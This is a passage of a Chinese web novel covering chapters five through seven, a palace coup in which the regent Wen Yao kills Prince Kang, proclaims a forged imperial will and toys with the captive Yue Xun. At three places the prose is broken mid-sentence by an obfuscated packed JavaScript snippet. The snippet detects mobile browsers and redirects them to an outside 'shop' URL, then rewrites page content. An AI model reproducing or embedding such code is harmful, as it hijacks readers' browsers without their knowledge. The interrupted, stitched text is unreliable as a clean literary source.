再转头看温杳,发现这家伙只是眯眼挑眉,盯着自己,笑容慢慢从眼角爬上了眉梢。 “你!”康王的母妃受宠,他打小还没受过这样的委屈,被自家兄弟这样哄骗着玩,一时间浑身的血液都往头上冲去了,涨得双目赤红,眼睛都鼓起来了,“你究竟对他做了什么!” “本王对自己的亲卫做什么,难不成还要你来置喙?我倒是想问问,如今北鞑大军压在淮河北岸,是我的兵镇在江北同北鞑大军隔河对峙!你今天在殿上处处针对本王,究竟是当真是想替所谓忠良说话,还是不过是想构陷我?” 温杳毫不相让地逼视着几乎要跳脚的康王:“北鞑大军尚且压境,难不成我们要在这里自杀自灭?岂不闻东汉党锢之祸、西晋八王之乱,皆是内忧而致外患,你今日这样与我相争,岂不是让北鞑坐收渔利?!” “究竟是谁误国叛国?忠奸自有天辨!” 温杳慷慨陈词了半晌,站在殿中的康王终于反应了过来,才发现自己已经陷入了孤立无援的境地。 他辩不过温杳,难不成还不能捏个软柿子吗? 康王转身揪住了岳旬的肩头:“好啊!我头一回见你这样的人,为了攀附权贵连脸面都不要了,竟然认贼作父!” 岳旬的肩头猛然颤抖了一下,跪在原地我自岿然不动。 他是个清流人家的读书人,自幼读圣贤书长大。这样的书生士子,哪一个受得了旁人指着鼻子骂自己“不要脸面”,更何况还是这样一个把脸面看得比天还大的年纪? 可他没办法要脸面。 更难听的污言秽语他也早都听过了。 可他还是轻轻闭上了眼睛,强忍着捏住了拳头。指尖用力,先是发红,紧接着逐渐发青变白。 他完了。 这是当着六部堂官的面,但凡有一个今日记下他的脸——那他今后考科举、走仕途的时候都会有人记得这一天,记得有人今日把他的脸面放在脚底下踩。 读书的人,最看重的不过是名声二字。 但是他得活着! 他必须得活着,活着才有以后,活着才能继续。不然什么科举仕途、什么为父翻案,都是一纸空谈。 所以他狠狠睁开眼睛,呼出了憋闷在胸中的那口气,冷笑着搭上了摁在他肩头的康王的手,用尽全力将他的手爪子挪了去:“康王殿下说笑了。宁王殿下是卑职的主子,卑职也不过是尽亲卫的职责,倒也谈不上什么‘认贼作父’。” “即是主上,那便雷霆雨露皆是恩情,自然更谈不上什么委屈不委屈的。”说完这句话,岳旬“咣咣”在地上磕了三个响头,朝着小皇帝的位置朗声道,“卑职恭请陛下圣裁。” “啧啧啧。”康王看他的表情,难以判断究竟是他疯了还是自己疯了,竟然口不择言,“亲卫?哈哈哈哈哈!温十二这家伙迄今不曾娶妻,连个侍妾都不曾有,把你留在身边,究竟是伺候什么呀……哈哈哈哈哈!” “老九!你当真失心疯了不成!”温杳一掌拍在桌上,生生打断了康王断断续续的笑声,“说什么胡话!” 康王原先骂了温杳那么久,他都不以为意,该喝酒喝酒,该转杯子转杯子。如今终于见着温杳看着像是真生气了,以为戳着了他的肺管子,不由大笑起来。 他举起了手中的酒杯:“温十二,今日我既然来到此处,你就应当知道——在这里争些口舌之利,是没有用处的!” 言罢,康王高举手中的酒杯,“咣当”一声摔在地上。 宴上立即就骚动起来,殿外喊打喊杀的声音也越发明显。御座上面色铁青的小皇帝终于忍不住,“嗷”一声哭了出来。 康王就在这一片混乱之中,指着岳旬的鼻尖,状若癫狂:“你们都不敢说,那让我来说!这小子不就是——” 话还不曾说完,康王还没来得及反应过来发生了什么,就惨叫一声,仰面朝天倒在地上。 鲜血霎时间就在地板上蔓延开来,康王像活鱼离了水一样,在地上翻滚挣扎起来,口中发出不似人声的惨叫。 他尖声詈骂着温杳,可周遭没有一个人敢再有动作,也没有一个人敢抬起头来——一根玉箸钉在了康王的右眼里,兀自随着康王翻滚咒骂一跳一跳地弹动。 温杳冷着脸收回了自己掷出筷子的右手,端起酒杯仰头把桌上的酒饮尽了,左手一捞就抱起了小皇帝。 他把哭哭啼啼的孩子往上兜了兜,抱着孩子慢慢踱步下来。 那康王拼劲浑身的力量,忽然直起身来,不知从何处翻出一把短刃,寒光一闪就冲着温杳和手里抱着的小皇帝而去。 温杳伸脚一绊,一手抱着孩子,一只手就制住了强弩之末的康王,稳稳当当将短刃送进了他的心口。血点子崩在脸上,竟有种白雪红梅般的风流。 “康王携兵刃上殿,欲刺杀皇上,已然伏诛。” 他把殿上低头不语的泥塑木雕挨个拿眼神点了个遍:“至于其余同党,一个也别想逃!” 说话间,刀兵碰撞之声越发近了,殿外火光冲天,殿内灯亮如昼。 岳旬偷偷瞥视着,好一个大年夜,众人竟然喜不自胜得鼻尖都冒了汗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163788|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷风吹过,跪在殿上的岳旬这会儿才觉出后背凉飕飕的——他后背已经湿透了。 他刚难受地耸了耸后背,避开那些黏腻的冷汗,忽然觉得领子一空。 有人摸他的后脖颈。 瓷人手上的茧子从他后脖颈上划过去,提溜住了他的后衣领,岳旬整个人就跟被捏小鸡子似的捏了起来。 岳旬踉踉跄跄的,被温杳提留到了身后。 而后他一手抱着孩子,站在门前,不作声了。 他是在盯着殿中的滴漏。 滴滴答答的水声哪怕混在外面的喊杀声中显得都格外清晰。 滴漏的时刻方过了酉正,大殿的大门豁然撞开,进来两个浑身浴血的人。 为首一个明显瞧着年岁尚小身量不足,却戴着狰狞的面具,提着一颗血淋淋的头颅。浓郁的血腥气翻涌上来,在座许多人今晨用的饭都要从胃里翻出来了。 后面跟着的正是一天没见的魏广,见了温杳就面露喜色:“王爷!大街上都清干净了!” 提头颅的小少年揭开面具,竟然露出一张十四五岁的姑娘脸来。 见了她,把自己的身形尽力影藏在温杳身后的岳旬,差点就要倒吸一口凉气——是熟人!还是从小玩泥巴长大的熟人! 那姑娘自然也瞥见了岳旬。到底是年岁尚小,脸上藏不住事,她也不禁露出了“你怎么在这”的惊诧神情。 这血呼啦擦的姑娘不说话,就没人敢开口说话。温杳见她愣着,眉头一皱,不由咳嗽一声。 那小姑娘这才反应过来,撩起下摆半跪在地朝着温杳同他手里的孩子行礼:“宣平侯之女陆明烟叩见陛下,陛下万岁,宁王千岁。” 她拎着那头颅的头发,露出头颅上死不瞑目一双死人眼来:“禀王爷,匪首已经伏诛了。” “好!好!好!”温杳赞叹几声,呼啦从右手袖子里抖出一截黄绸子。那黄绸是个卷轴,稀里哗啦滚开,上头密密麻麻全是字,“有旨意——先帝遗诏!” 大殿里呼啦啦啦啦跪倒一大片,岳旬慢了半拍,被温杳拿卷轴狠狠捅了一下胳膊:“念!” 来不及分辩一句为什么自己在干太监干的活儿,遗诏上的字就已经从岳旬口中蹦了出来—— “朕以眇躬,承祖宗之基业,临御五载,夙夜忧勤。今北虏猖獗,京师告破,山河倾覆,朕疾弥留,深惧神器无托,社稷将危。特以遗命付与天下,昭示臣民: 皇太子誉,年方冲幼,仁孝聪敏,着即皇帝位。 宁王杳,朕之手足,忠勇刚毅,克定祸乱。授天子剑、虎符,兼领五军都督府,可调天下兵马,便宜行事。若遇非常之变,可代行天子诏令。宁王当效周公辅成王、武侯佐后主,勿负朕托。 若嗣君不克负荷,则诸皇子、亲王中德才兼备者,当以宗庙社稷为重,奉天承运继之。 ……” “臣弟杳领旨谢恩!” 在座的大人都屏气凝神,可小皇帝却哭得快要厥过去了,一惊一跳地抽抽搭搭。 温杳眉头跳了跳,面无表情又把孩子抱起来,安抚性地拍了几下后背,咬牙切齿用气音道:“陛下别哭了。” 小皇帝抽抽搭搭勉勉强强,还是抽噎个不停。温杳无法,只得连连轻拍他的后背。 “又落雪了。”温杳抱着皇帝,提溜着岳旬,“除夕夜到了,放一挂鞭吧。” 5. 第五章:礼法难合 鞭炮的火药味混杂着血腥气,充斥着岳旬的鼻腔,久久不能散去。待到一切事情处理结束,已经是第二日的子时了。 正月初一,新年伊始,各路藩王六部九卿就这么惊惶怖惧了半晚上。 宫城中血腥气尚且浓郁,六部堂官全哆哆嗦嗦被赶去了内阁写自辩状。几位藩王被控制起来,尽数丢在一个温暖如春的宫室里,也写自辩状。 宁王他老人家发号施令,欢迎检举揭发康王同党,他与陛下等着他们建言献策呢。 宫中的内宦宫人更是噤若寒蝉,大气也不敢出一口,战战兢兢打水去殿里洗地。冷风乍起,凉水从汉白玉石阶上冲刷下来,凝结成一层淡红色的冰渣。 小皇帝打着哭嗝儿被人抱了下去,偌大个宫城中,能听见的声响唯余冷风呼啸。 温杳的靴子在冰碴子上来回碾了几步,脸色越发难看起来。 不应该啊。 岳旬默默觑着他的脸色,一脸麻木。他刚刚已经劝了自己半晚上,好容易把自己哄住、心态摆平,就看见勘定祸乱那位在那拉个驴脸。 这种表情令岳旬忍不住腹诽起来——康王那不争气的还没开始就已经结束了,除了自己这个无关紧要的棋子精神上受了点凌辱,此役温杳几乎可以说是不费吹灰之力就大获全胜,就算他这样的权倾朝野的人向来喜怒不形于色…… 也不至于把脸拉得比驴还长吧。 那先帝遗诏他念了一遍,不说能记得一字不差,大体上也能记得个七七八八。 京城沦陷的时候仁正帝早不知道是死是活了,哪有拟遗诏的工夫?这遗诏必然是后来内阁拟的。 即是内阁拟的,那里面提道的许多的话就很耐人寻味了。 除却给予了宁王摄政之合法性之外,遗诏中还提道要求各地藩王“尽宗室之责,共御北虏”——要把他们的护卫队全编入边镇卫所,把他们的岁禄全从粮食银两更换为“隆靖宝钞”,甚至还要求各位宗亲共克时艰“自谋生路”。 一言以蔽之——夺你们的兵,要你们的钱,朝廷养不起你们这群禄蠹了。为了抵御北鞑,为了列祖列宗的江山社稷,为了我老温家的千秋万代。 苦一苦诸位藩王宗亲吧!骂名我仁正帝来担! 反正仁正帝他老人家已经和阎王爷下了不知道几轮棋了。 这是要削藩呐。 但管他这份先帝遗诏究竟是不是真的,兵权如今在温杳手里握着,那便是也是,不是也是! 康王这个缺德带冒烟的蠢货,这时候造反,简直就是瞌睡了给人送枕头。 温杳估计早就在这等着他呢。 这家伙不知是被谁撺掇出来的自信,觉得都是今上的叔父,温十二摄得,他温九也摄得。 温杳手里的精锐如今全镇在江北,快马跑来也需要时间。他只要在宫宴前纠集流氓地痞设置路障,再加上那些偷偷跟着他进金陵的藩地私兵,快刀斩乱麻结果了温杳和那七岁的小崽子,这事自然就成了! 谁知道最后让陆明烟、魏广两个人领着一帮散兵游勇,就给他杀得片甲不留啊。 温杳的精锐一个没动,抬抬手就结果了康王——这有什么好拉着脸的,难不成嫌这康王水平太烂,杀得不够爽吗?! 不等岳旬想出个所以然来,小皇帝跟前的多宝伴着个稍微比他年长些的宫女急急忙忙地跑了过来。 多宝明显慌了神,脸上还带泪,张口就叫:“王爷!”让那宫人一把拖住。 多宝噤声,随着宫女的视线环视一周——这还有好多人站着呢。 温杳自然看出了他们神色有异,招呼两个半大孩子到自己身前来:“怎么?” 那宫人凑近,用几乎只有温杳能听见的声音低声道:“皇爷发了高热,已经抽搐起来了!” 岳旬不动神色往前挪了两步,也听了一耳朵。 他在后面低眉顺眼的,没人想到他心里想得都不知是些什么大逆不道的东西。 都说天子有上天庇佑,可再怎么庇佑这位小皇帝也只是个缺牙的羸弱孩子。小儿惊吓过度高烧惊阙,会不会夭折,就不好说了。 果然,他抬头觑了一眼温杳,甚至能看见他眼中掩饰不住的复杂神色:“怎么回事?太医不在跟前吗?” 那宫人抹了一把眼泪,把惊慌失措硬生生憋了回去:“几个太医都在呢,就等着王爷去看一眼。” “走!”温杳当机立断,转过头去吩咐持刀的几人,“魏广,你留在这儿,做你该做的事,就还让这小孩跟着我。陆……” 他犹豫了一下还是没有喊出陆明烟的闺名:“陆小将军,替我去内阁,请徐阁老来!” 温杳大步流星在前面走,岳旬一路小跑在后面跟,没一忽儿功夫就到了小皇帝的寝殿。 一圈太医全围着那个小小的人,周遭宫人边哭边往孩子嘴里灌药。 温杳一进来,太医便自动让出一条路来,让他瞧一眼床上躺着的孩子。 天下的君父正躺在床上,烧得满脸通红,闭眼昏睡着。若不是浑身都在不停抽动,看着同睡死过去了也没有什么分别。 温杳伸出手背探了一下他的额头,眉头就拧在了一起。他抬眼环视了一圈四周的太医,等着人给他回话。 寝殿中一时间安静了下来,过了好半天,终于有太医支持不住,开口答话:“回宁王殿下,陛下如今脉象浮数而弦,此乃外感惊邪引动肝胆风火之症……” “废话就不必多说了。”温杳收回了小皇帝额头上的手,打断了太医的话,“你只说能活不能活。” 太医眼神闪烁了起来,支支吾吾半天,答不上一句话。 温杳不再和这些含含糊糊的太医打太极,转而端过宫人手里的药,自己喝了一口:“把药渣端来给我看看。” 很快,就有小宫人端了药渣上来。温杳拿小银匙翻动了几下药渣,没几下就辨认出几味常见药物。 温杳慢慢扒拉着药渣,眼神晦暗不明了许久。半晌,他眼中神色终于定了下来,“当”一下将小银匙搁下,仿佛下定了某种决心—— 他冷笑一声,仄着那太医:“尽是些温吞的药物,这要能医活才奇了怪了——这么多年了,你们还是这个样子,多少人都是这么让你们耗死的。” 几个太医全“噗通”一声跪下了,也不说话,只是磕头。 “务必先把高热退下去,干烧着大人也扛不住。”温杳盯着这群太医的后脑勺,语气慢条斯理的,辨不出喜怒,“治活了有赏,下狠药药死了不治你们死罪。现在再回答我,能活不能活。” 那几个太医立即捣蒜似的磕头:“能活!能活!臣赔上这颗脑袋,定然全力救治。” 说话间,进来个精神矍铄的小老头子。岳旬见他穿着仙鹤补子,便猜他应当是温杳所说的徐阁老——徐处安。 “情况紧急,徐阁老不必多礼。”温杳上前两步扶起了撩袍下拜的徐处安。 他引着徐处安看了一下发着高热的小皇帝,这会子太医们已然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163789|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行动了起来,给小皇帝开方施针。 徐阁老不通医理,匆匆看了两眼,反而转脸来看温杳:“王爷怎么想?” 温杳一偏头,太医忙忙碌碌,宫人内宦只忙着煎药灌药,给小皇帝擦身降温。 于是他只带着自己和徐处安的几个亲信,进了寝殿旁的暖阁中:“如今大胤风雨飘摇人心浮动,正是危难之际。倘使一两年之内龙椅上连换几人,难免会有难料之事。 前几日探子来报,北地正忙着拟定国号,阿日斯汗只怕是要称帝。前脚才闹过藩王谋反,倘若这时候陛下骤然崩逝,局势动荡起来,岂不反是涨了北鞑的威风?” 侍立在旁边的岳旬垂着脑袋,细细思索起来。 说实话,他没想到自己还能作为亲信被温杳带到暖阁里来,还听他说了这么一番话。 他有点想不通。 按理来说他这个棋子就是拿来避免康王辖制温杳的,康王伏诛,将他弃了就是。就算魏广真的有什么要紧的用处,温杳非得要个人跟着,那把他留在殿外阶下便是了。 何必特地把他带来听这么一段? 按照先前康王的思路,如果不是自家老爹通敌叛国,那就是温杳有问题——温杳在辽东战败之前忽然领旨回京,人前脚刚走,后脚辽东大败,山海关失守。 北鞑铁骑长驱直下,直到了京城门口。 紧接着就是温杳嘴里所谓的“仁正帝殉国”。 谁知道康王那个蠢货,这等关键的事情按下不提,反而揪着温杳的眼珠子说事,被温杳呛得一句话也说不出来。 他当着六部九卿各路藩王面前说得义正辞严,如今又是这样一番言论,任谁不觉得他忠公体国? 果然,连老成持重的徐处安听了这话,都不免捻须颔首:“王爷是识大体顾大局的人,臣心里是省得的。有了王爷这句话,臣万死不辞。” 可岳旬不这么想。 好嘛,他老爹岳盛的事情按下不发,如今又在他面前洗白他自个儿? 那辽东兵败究竟是怎么回事? 他究竟想点自己些什么? “徐阁老当年是先帝的师傅,我同先帝一同长大,便也忝称阁老一句师傅——陛下若熬过今夜,自然相安无事,倘使如有不测……那我就还有一场硬仗要打,只能请阁老为我担待着些了!” 徐阁老和温杳当初同为仁正帝京城托孤的那几位,如今温杳这番话先理后情,说得情真意切,他又不是什么迂腐不变之人,自然点头称是。 岳旬听着,心里只暗中啧啧——好手段,若今日大胤那七岁的“天下君父”熬不过去,徐处安今夜守在这里,温杳有了内阁承认,便算是合了礼法;他现今手里又握着兵,想干什么不成? 就算他真毒害了先帝又能怎么样? 只可惜……可惜他那一对儿人尽皆知的眼珠子。 只凭着一双琥珀色的眼珠子,说他这是他通敌的证据,自然荒唐。可他要是做皇帝呢?从前太平的时候也就罢了,偏偏在这个半壁江山沦陷的节骨眼上,要是他当真坐了龙庭,那难免有许多人要泣血嚎啕了。 到时会掀起多少民变,揭竿而起多少起义军,那就不好说了。 天下百姓所求,不过是不要活在异族的铁蹄之下,可倘若连坐龙庭的都成了异族——那还何必有大胤呢? 王侯将相宁有种乎? 唉。 岳旬暗自摇摇头,温杳这人啊……恐怕一辈子都是个“名不正,言不顺”! 6. 第六章:小破孩子 这样的时候,在场的人没有一个敢离开。温杳和徐处安就在暖阁里坐着,几个侍从并着岳旬在一旁侍立着,除了干等,别无他法。 温杳大约是有些心神不定,岳旬几次悄悄抬眼,都能看见他脸色不大好看。他拿手扶着额头撑在桌上,能看见他手背上透着几条淡青的血管,修长的手指一下一下点着自己的眼皮。 不知在想什么。 分明是拿刀的人,怎么生得这样一双手?岳旬的思绪漫无边际地飘散开来,抬眼看见他的手,忽然想起这手捏在自己后脖颈上的感觉,浑身一个激灵,赶忙住脑。 他猛然回神,正巧听见床上的孩子发出几声难受的哭叫,紧接着细细抽泣起来。 人有意识了! 暖阁里坐着的温杳“腾”一下站了起来,迈开长腿两步就到了小皇帝床前,见他确实能哭着喝药了,不禁松了一口气。 然后拧着眉头盯了他好一阵。 那一口气松下来之后,温杳的眼中反而透出一股更复杂的情绪,也不知是遗憾还是不甘。 直到床上那个脸上带着泪痕的小崽子,用手攥住了他一根手指。 “十二叔。”小皇帝缺着门牙,带着很浓重的哭腔,口齿不清地喊他,“九叔为什么要杀我?” 温杳神色一动,大概是没想到这小崽子会这么问。 六七岁的孩子狗见了都烦,小皇帝正是这么个年纪,平时见了他在他耳边叽叽喳喳的,聒噪地像个略通人性、会说人话的幼兽。 他没能想到他已经长到懂事的年纪了。 但这可怕瓷人的内心恐怕只波澜了一下,眼中古井无波,规规矩矩地开了口:“回陛下的话,康王贪得无厌,是想谋权篡位。” 床上的小孩儿睁大了眼睛,这个年纪的小崽子的瞳仁纯净剔透,不含一丝杂质:“那十二叔你会杀我吗?” “不会。”温杳不敢停顿,目光却轻轻别开,像是陷入了遥远的沉思,拒绝与这样一双眼睛对视,“臣甘愿为陛下赴汤蹈火,在所不辞。” 岳旬从温杳的语气里辨别不出他究竟是不是真心实意,总归,床上的小孩儿轻轻闭上眼睛,不再言语。他的高热已经退了些,算是熬了过去,不会死了。 小孩儿攥着温杳的手指,怎么也不松开。这对世人皆认为虚情假意的叔侄,就这么以一个貌似相依为命的姿势,待到了天明。 天明之后那孩子才睡踏实,太医也朝着守着的几人点了头。温杳神色早就不耐许久,他抽走自己的手,冲着岳旬一抬下巴,转头就走。 岳旬也拔脚就走,终于从这本不该卷入的宫闱暗潮里脱了身。 清晨的宫城里格外空旷,天色只蒙蒙亮,月未落、日将升,宫城中明黄的琉璃瓦没被阳光映照,蒙着一层灰灰的翳。这是出宫的路,通常都是进宫的阁臣在这里出入,这个时间,路上连宫人与内宦都少见。 就这时候,石板路上响起了“哒哒哒”的疾走声:“王爷。” 温杳停下脚步来等他,来人却只向他打了个招呼,却转而面向岳旬:“这就是……?” 竟然是徐处安。 岳旬朝着徐处安行礼,也不说话,只是顺着眼,悄悄放松了些许。 徐处安话中的意思未尽,但明白的人都听得出来他是何意——当了两天“魏广”的岳旬终于算得上是拿回了自己的姓名。 他方才正担心着,自己在殿上自行认下是温杳的亲卫,倘若这可怕的瓷人当真要狡兔死、走狗烹,把自己这个卒子扔了。 那他估计就要顶着“魏广”的名字去死了。 “岳旬”他杀不得,“魏广”他还杀不得吗?杀“岳旬”自然是杀人灭口,可杀“魏广”也不过是军法处置了一个亲卫。 可倘若有徐处安这样阁老的保证,他就安全多了。 徐处安盯着他的五官看了一阵,露出一个还算和蔼的微笑:“不大像他父亲,倒是像周家人多些。” 枉他方才以为徐处安是来帮他说话的!这个当口上,提这档子破事做什么! 岳旬在暗中狠狠捏了一下自己的手指,几乎无法控制地咬住了下唇——周家早都没了,他爹也已经没了,这时候难道还要再生事端吗? 他岳旬只有一颗头,报了父亲,就没办法报外祖了啊。 “诶,阁老说笑了。”谁知道温杳并不理会徐处安说的什么“周家”“岳家”,眼带笑意,轻飘飘冲着岳旬一努嘴,“他能像个什么人?这不就是魏广吗?” 岳旬豁然抬头,徐处安陡然色变。 当着奴婢也就罢了,宴会开始前也就罢了。可他现在竟然还敢当着徐阁老的面公然“指旬为广”! 岳旬心下一片冰凉,手心一下子就洇出汗来——他竟然还想着要杀自己!这要是真死在他手里,还挂着魏广的名字,现在就算是舍出一颗头颅去也毫无意义了! “宁王爷,老夫今日奉劝你一句。”徐处安压根儿没想到,这家伙竟然能反复无常到这种地步,自己刚在皇帝寝殿中为温杳背书过一回,他反过来就要下自己的面子,“但凡做什么事情,不要太赶尽杀绝了!” “内阁如今对王爷也算得上是倾力支持,那是因为王爷确实守着我大胤的安定。可王爷别忘了,陛下终究是要长大的,内阁与王爷——或者说所有清流文官与王爷,不可能永远这样太平下去!” 徐处安说完,一吹胡子,也不等温杳答话,拂袖而去。 岳旬觉得自己浑身的血液都冻住了,以至于一时间手脚竟然都有些轻微的麻痹——他自然省得温杳权倾朝野,但他没想到温杳竟然已经权势滔天目中无人到这种地步,敢公然与文官集团叫板。 徐处安也许对他和他的父亲并无特别的怜悯之心,但他却未必能看得下去温杳当真对文官、尤其是清流文官大开杀戒。但徐处安除了口头上警告温杳,竟然拿不出、或不愿拿出一丁点解救自己的办法。 这样的人,这样的权势,捏死自己还不和捏死蚂蚁一样容易! 瓷人鬼一样地挨过来,轻飘飘一抬手,又是很自然搭在了他的后脖颈上。这是一个明显带着掌控意味的姿势,温杳做出来,却亲昵地好似自家长辈。 他俯下身子,用手指摩挲着岳旬的后颈,在他耳边轻声道:“看见他身上的补子了吗?想要真正杀了我,你就得坐到他这个位置上。” “要用二十年?还是三十年?我等着……”话没有说完,温杳忽然短促地笑了几声,语带自嘲。 岳旬莫名读出了他未尽的意思——他觉得自己恐怕活不到那个岁数。 日光慢慢爬上了屋顶,翻过房梁,洒在小少年的身上,将他的影子拉得如同成人一样长。 岳旬一改这几日做惯了的低眉顺眼,挺直了后脊梁,第一次几乎逼视地直视着温杳琥珀色的眼睛:“十年。” 温杳挑眉:“哦?” “十年。”岳旬又重复了一遍,他很清楚听见自己的后槽牙咯咯作响,“你等着我。” “好啊。”温杳的呼吸丝丝缕缕喷在他的耳畔,好似被这天气染上几分湿淋淋的冷气,水鬼一般附骨缠身,“我倒要看看你打算怎么活过这个十年。” 这可怕的瓷人揽着他,眯起眼睛笑了,可笑意怎么也透不到眼底。 岳旬就这么被温杳拖着,踉踉跄跄上了马车。 他必须得想个法子逃跑。 岳旬抱紧了手中的雁翎刀,还是像来时一样,跨坐在马车帘子外。 风吹得脸再冷,他也好几个晚上没睡过整觉了。一坐下来,两个眼皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163790|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都打架。可他根本不敢闭上眼睛——温杳没带几个人出来,就一个赶车的车夫并两个随从,他要是这会儿跳车下去…… 如果他没有带其他人,那自己还是有机会逃跑的。 正当他飞快在脑子里盘算着路线,忽然听见有人叫他:“旬哥儿。” 岳旬立即吓了一个激灵,这个声音,只能是坐在车中的温杳。 果然,待他回头看去,温杳已经掀开了帘子的一角,盯着他瞧。车内昏暗,他整张脸都隐没在那片阴影里,唯独留一双琥珀色的眼睛。 里面沉默着一些,他读不懂的陈年辛密。 看得岳旬有点恍惚。 他分明没有说话,可岳旬却读出了他的意思。岳旬抱着怀里的刀,低头掀帘子进去了。 不知道瓷人叫他进来是做什么,也不说话,也不吩咐。马车晃荡,温杳就只顾着靠在车的内壁上,环抱着双臂,看起来像是一夜没睡,遭不住了。 这马车四面八方都捂得严严实实,几乎透不进光来,晃荡了一阵,岳旬才适应车里的亮度,看清了眼前人。 他闭着眼睛,毫无保留在自己面前裸露出脆弱的颈子。哪怕是权倾朝野的摄政王,也只是肉体凡胎,并非什么刀枪不入的仙人。这样的脖颈子若是一刀捅进去划开,鲜血只怕能溅自己一脸。 岳旬呼吸急促起来,抱紧了自己手里的雁翎刀。 一刀。 只要一刀。 他就能大仇得报、死而无憾了。 管他什么身生前身后名! 岳旬的心脏跳得越来越快,越来越快,他已经把手放在了刀柄上。 手汗滑溜溜的,让他几乎要握不住刀柄了。 他捏着刀柄,冰凉的雁翎刀在黑暗中闪出一点莫测的寒光。 然后寒光上映照出了温杳琥珀色的瞳仁。 “咣当”一声,刀掉了下去。 温杳睁开眼睛,赏脸看了他一眼。 眼尾有些红。 是熬过大夜的样子。 他轻飘飘凑上来,伸手一揽就把人揽到了身侧。岳旬的后背几乎要贴着他的前胸,让他能感觉到自己后背上黏腻的冷汗。 “哟,旬哥儿。”温杳抬手将他耳畔蓬乱的发丝捋到耳后,亲昵地笑了,“这样看着我做什么?这么紧张?” 岳旬紧绷绷的,干巴巴蹦出两个字来:“不敢。” “哦,是吗?你还有什么不敢的?” 温杳再次凑到了岳旬的耳边,岳旬甚至能感觉到他温热的呼吸喷在自己的耳廓,心脏更加猛烈地跳动起来,几乎从腔子里蹦出来。 他险些要被自己擂鼓一样的心跳吵得震耳欲聋。 温杳揽着他,声线温柔,近乎耳鬓厮磨时的私语:“那你心怎么跳得这么快?” 岳旬当场僵硬成了一根顶天立地的人棍。 “噗。”温杳把手搁在下巴上,实在没忍住笑了出来,丢开了岳旬的肩膀,“你这个样子真是太有意思了。” 什么样子?是砧板上的鱼肉、任人宰割的羔羊,他温杳随手就能捏死的蝼蚁。 所以他不在乎。 自己拼上性命的事情,他只觉得可怜可爱、甚至好笑。 岳旬低下头,落在车内地板上的雁翎刀黑漆漆的,露不出一点方才的寒光。 谁知道温杳越笑越厉害,几乎要忍不住、停不下。忍了半晌,憋得整个胸腔都在抖动:“小破孩子。” 太可怕了。 岳旬巨大的心跳声不停歇地自内而外在他耳边吵闹,把他浑身上下的血源源不断往头顶泵上去,他开始觉得脸上发烧。 好在车内昏暗,应当看不清楚。 真是太可怕了。 他必须要尽快离开。 7. 第七章:吃糠咽菜 岳旬趁夜摸回家的时候正是大年初二子时往后了。 红色的碎纸伴着些碎竹片,密密麻麻参和在雪地里,界限不明。明知是鞭炮,但岳旬却还是没来由看得有点恶心,这让他想起淡红色的水从丹墀上滚流下来,砸起一层一层的碎冰。 南渡的时候也是这样。层层叠叠的尸体与冻成冰的血,纠缠、相容,逐渐变得面目不清,成山垒摞在雪地上。 这样的场景他已经见得多了,却怎么也没办法看得习惯。 实在让人有些作呕。 他撑住膝盖,长吸几口气,想缓一缓。 “去!去!去!”那门忽然“嘎吱”一声开了,露出一张沟壑纵横的老脸来,挥着一根老长的扫帚,不管不顾往他身上拍打过来,“怎么阴魂不散一样还来!大过年的还在别人门口蹲着,自己不回家就算了,别耽误别人家过年!” 岳旬本来跟个鹌鹑似的缩在屋檐下,莫名其妙挨了一扫帚,扑扑腾腾往外头避着:“周伯!周七伯!” 周七听见声音,愣了一下,睁着一双昏花的老眼把穿着亲卫服制的岳旬上上下下打量了个遍,终于看清了来人。他“哗啦”一下丢了扫帚,冲到岳旬面前,扶住了他的肩膀:“大哥儿!” “我还以为那群人又来了呢!” “是我,活着呢。”岳旬苦笑着,见周七已然浑身颤抖,几乎担心得要说不出话来,不由拍了拍他的手以示安抚,“你家哥儿福大命大,死不了。” 周七的老眼里登时就涌出眼泪:“若是哥儿也出了事,孤零零留我一个人,那老奴还不如去了……可就算我死了也对不起姑娘和姑爷啊!” 周七的女人是岳旬母亲的乳母。 岳旬一面安抚着周七进门,一边警惕地环顾四周,小巷子里安安静静的,连狗都睡着了,轻轻打着呼噜。 看来确实没有人在监视他家了。 岳旬揣度着周七方才的反应,他不在家这几日应当总有人来家门口守着,穿得应当是与自己差不多的服色——不是锦衣卫、就是辽东军。 不管是谁,总之都是朝廷的鹰犬——都是宁王的人。 岳旬关上了大门,朝着周七比划了个噤声的手势,悄声道:“周伯,一直在门口守着的人是何时走的?” “今日……不对,已经过了子时了,应当是昨日。”周七看岳旬眼色,立刻压低了声音,“昨日晌午过后就一直没见了。我不放心,出来看了好几次,方才看见大哥儿还当是那群鹰犬又回来了。” 昨日。 岳旬心中咯噔一声。 